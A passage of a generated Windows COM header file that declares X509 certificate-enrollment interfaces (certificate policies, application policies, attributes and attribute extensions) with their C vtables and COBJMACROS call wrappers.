IX509ExtensionCertificatePolicies * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionCertificatePolicies * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ __RPC__in_opt ICertificatePolicies *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Policies )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicies **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionCertificatePoliciesVtbl;\n\n    interface IX509ExtensionCertificatePolicies\n    {\n        CONST_VTBL struct IX509ExtensionCertificatePoliciesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionCertificatePolicies_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionCertificatePolicies_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionCertificatePolicies_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionCertificatePolicies_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionCertificatePolicies_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionCertificatePolicies_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionCertificatePolicies_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionCertificatePolicies_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionCertificatePolicies_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionCertificatePolicies_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionCertificatePolicies_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionCertificatePolicies_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionCertificatePolicies_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionCertificatePolicies_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionCertificatePolicies_get_Policies(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Policies(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionCertificatePolicies_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionMSApplicationPolicies_INTERFACE_DEFINED__\n#define __IX509ExtensionMSApplicationPolicies_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionMSApplicationPolicies */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionMSApplicationPolicies;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab321-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionMSApplicationPolicies : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt ICertificatePolicies *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Policies( \n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicies **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionMSApplicationPoliciesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionMSApplicationPolicies * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ __RPC__in_opt ICertificatePolicies *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Policies )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicies **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionMSApplicationPoliciesVtbl;\n\n    interface IX509ExtensionMSApplicationPolicies\n    {\n        CONST_VTBL struct IX509ExtensionMSApplicationPoliciesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionMSApplicationPolicies_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionMSApplicationPolicies_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionMSApplicationPolicies_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionMSApplicationPolicies_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionMSApplicationPolicies_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionMSApplicationPolicies_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionMSApplicationPolicies_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionMSApplicationPolicies_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionMSApplicationPolicies_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionMSApplicationPolicies_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionMSApplicationPolicies_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionMSApplicationPolicies_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionMSApplicationPolicies_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionMSApplicationPolicies_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionMSApplicationPolicies_get_Policies(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Policies(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionMSApplicationPolicies_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Attribute_INTERFACE_DEFINED__\n#define __IX509Attribute_INTERFACE_DEFINED__\n\n/* interface IX509Attribute */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Attribute;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab322-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Attribute : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Attribute * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Attribute * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Attribute * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Attribute * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509Attribute * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeVtbl;\n\n    interface IX509Attribute\n    {\n        CONST_VTBL struct IX509AttributeVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Attribute_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Attribute_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Attribute_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Attribute_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Attribute_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Attribute_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Attribute_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Attribute_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509Attribute_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509Attribute_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Attribute_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Attributes_INTERFACE_DEFINED__\n#define __IX509Attributes_INTERFACE_DEFINED__\n\n/* interface IX509Attributes */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Attributes;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab323-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Attributes : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Attribute **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509Attribute *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Attributes * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Attributes * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Attributes * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Attributes * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Attribute **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509Attributes * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509Attributes * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ __RPC__in_opt IX509Attribute *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509Attributes * This);\n        \n        END_INTERFACE\n    } IX509AttributesVtbl;\n\n    interface IX509Attributes\n    {\n        CONST_VTBL struct IX509AttributesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Attributes_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Attributes_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Attributes_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Attributes_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Attributes_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Attributes_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Attributes_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Attributes_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509Attributes_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509Attributes_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509Attributes_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509Attributes_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509Attributes_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Attributes_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeExtensions_INTERFACE_DEFINED__\n#define __IX509AttributeExtensions_INTERFACE_DEFINED__\n\n/* interface IX509AttributeExtensions */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeExtensions;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab324-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeExtensions : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IX509Extensions *pExtensions) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeExtensionsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeExtensions * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeExtensions * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeExtensions * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID 